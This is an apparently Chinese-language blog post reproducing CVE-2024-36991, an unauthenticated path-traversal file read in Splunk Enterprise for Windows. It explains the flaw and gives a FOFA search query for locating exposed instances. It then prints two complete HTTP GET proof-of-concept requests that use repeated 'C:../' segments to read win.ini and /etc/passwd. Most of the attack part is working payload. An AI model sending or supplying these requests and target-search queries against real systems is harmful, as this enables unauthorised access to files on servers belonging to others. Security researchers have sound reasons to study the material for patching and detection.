「漏洞复现」Splunk Enterprise for Windows 未授权任意文件读取漏洞(CVE-2024-36991)

最新推荐文章于 2024-09-20 10:35:11 发布

鲨鱼辣椒丶D

最新推荐文章于 2024-09-20 10:35:11 发布

阅读量540

点赞数 4

分类专栏：漏洞复现文章标签： web安全

本文链接：https://blog.csdn.net/qq_39894062/article/details/140237997

版权

漏洞复现专栏收录该内容

205 篇文章 34 订阅

订阅专栏

0x01 免责声明

请勿利用文章内的相关技术从事非法测试，由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失，均由使用者本人负责，作者不为此承担任何责任。工具来自网络，安全性自测，如有侵权请联系删除。本次测试仅供学习使用，如若非法他用，与平台和本文作者无关，需自行负责！！！

0x02 产品介绍

Splunk Enterprise是一款功能强大的数据分析引擎，旨在从所有IT系统和基础设施数据中提供数据搜索、报表和可视化展现。Splunk Enterprise能够收集、索引和利用所有应用程序、服务器和设备（包括物理、虚拟和云中环境）生成的快速移动型计算机数据。它允许用户从一个位置搜索并分析所有实时和历史数据，为IT运营、安全监控和业务分析等领域提供全面的解决方案。

0x03 漏洞威胁

Splunk Enterprise for Windows 版本中，使用Python内置的 os.path.join 函数拼接路径时，若路径组件中的磁盘驱动器号与已构建路径中的驱动器号相同则会移除该驱动器号，导致 /modules/messaging/ 端点存在路径遍历漏洞，未授权的攻击者可利用该漏洞读取任意文件，使系统处于极不安全的状态。

0x04 漏洞环境

FOFA:

app="splunk-Enterprise"

0x05 漏洞复现

PoC-1

GET /en-US/modules/messaging/C:../C:../C:../C:../C:../C:../C:../C:../C:../C:../windows/win.ini HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:125.0) Gecko/20100101 Firefox/125.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Connection: close

读取win.ini文件

PoC-2

GET /en-US/modules/messaging/C:../C:../C:../C:../C:../etc/passwd HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:125.0) Gecko/20100101 Firefox/125.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Connection: close

读取passwd文件